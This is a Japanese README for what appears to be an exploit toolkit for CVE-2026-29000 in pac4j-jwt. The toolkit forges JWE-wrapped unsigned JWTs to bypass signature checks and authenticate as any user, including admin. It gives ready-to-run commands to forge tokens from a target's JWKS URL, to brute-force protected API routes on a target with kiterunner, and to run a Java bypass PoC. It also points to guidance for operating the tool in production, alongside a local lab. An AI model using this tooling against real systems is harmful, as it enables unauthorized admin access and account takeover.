
Forge JWEラップされた未署名JWTを作成し、pac4j-jwtの署名検証(CVE-2026-29000)をバイパスして任意のユーザーとして認証します。Python CLI、ライブラリ、Java PoC、kiterunnerルートスキャンを含みます。
完全なビルドアウト: ライトアップ、Java インプロセス PoC、Python トークンフォージ CLI とライブラリ、テスト。
詳細と PoC の要件については WRITEUP.md を参照してください。
| パス | 説明 |
|---|---|
WRITEUP.md | CVE 概要、根本原因、影響を受けるバージョン、PoC 要件、参考文献 |
RECON.md | 何を入れるか (クレームの発見、アプリ固有のクレーム) と どこに提出するか (ヘッダー、クッキー、保護されたエンドポイントの発見) |
OPERATIONALIZATION.md | 本番環境で実行するために必要なもの: パッケージング、設定、安全性、自動化、可観測性、メンテナンス |
scripts/kr_scan.py | トークンを偽造し、Authorization: Bearer を使用して kiterunner (~/bin/kr) を実行し、保護された API ルートをブルートフォース/スキャンする |
examples/ | サンプルスクリプト: forge_and_curl.sh、forge_and_kr.sh |
lab/ | トークンフォージのテスト用 Flask ラボアプリ (JWE エンドポイント + JWKS) |
poc/ | Java Maven PoC (pac4j-jwt 6.0.3 に対するインプロセスバイパス) |
token_forge/ | Python パッケージ: PEM または JWKS URL から JWE ラップされた PlainJWT を偽造する |
tests/ | クレーム、フォージ、キー、CLI の Pytest テスト |
requirements.txt | Python 依存関係 (jwcrypto、requests、pytest) |
python3 -m venv .venv
source .venv/bin/activate # Windows の場合は .venv\Scripts\activate
pip install -r requirements.txt
# PEM から (生成: openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /path/to/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"
# JWKS URL から
python -m token_forge --jwks-url https://target/.well-known/jwks.json --subject admin
# 追加クレーム (アプリ固有の発見用): --claim [email protected] --claim key=value
# オプション: --exp-sec、--jwks-kid、--log-file、--enable-file-logging、--verbose
出力: 1 行 (偽造された JWT)。Authorization: Bearer <token> として使用します。
kr が ~/bin/kr にある必要があります。トークンを偽造し、Bearer 認証で kr brute (または kr scan) を実行して保護されたルートを発見します:
python scripts/kr_scan.py https://target.com --jwks-url https://target.com/.well-known/jwks.json
python scripts/kr_scan.py https://target.com --public-key pub.pem -w paths.txt -o json --dry-run
オプション (--subject、--roles、--claim、-A、--scan など) については RECON.md の §4 を参照してください。
from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url
with open("pub.pem", "rb") as f:
key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)
pytest -vv --tb=short --maxfail=1
# または警告をエラーとして扱う場合:
pytest -vv -W error -W always --tb=short --maxfail=1
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# またはトークンのみ (インプロセス検証なし):
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# カスタム subject/roles を使用:
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"
期待される出力: インプロセス実行時に [BYPASS] Authenticated as: admin#override とロール。
pytest -vv --cov=token_forge --cov-report=term-missing
pytest -vv --cov=token_forge --cov-report=html # その後 htmlcov/index.html を開く
docker build -t cve-2026-29000 .
docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing
JWE を受け入れ、クレームを返す Flask アプリ (フォージ + curl/kr のテスト用)。
docker compose up -d lab
TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me
lab/README.md を参照してください。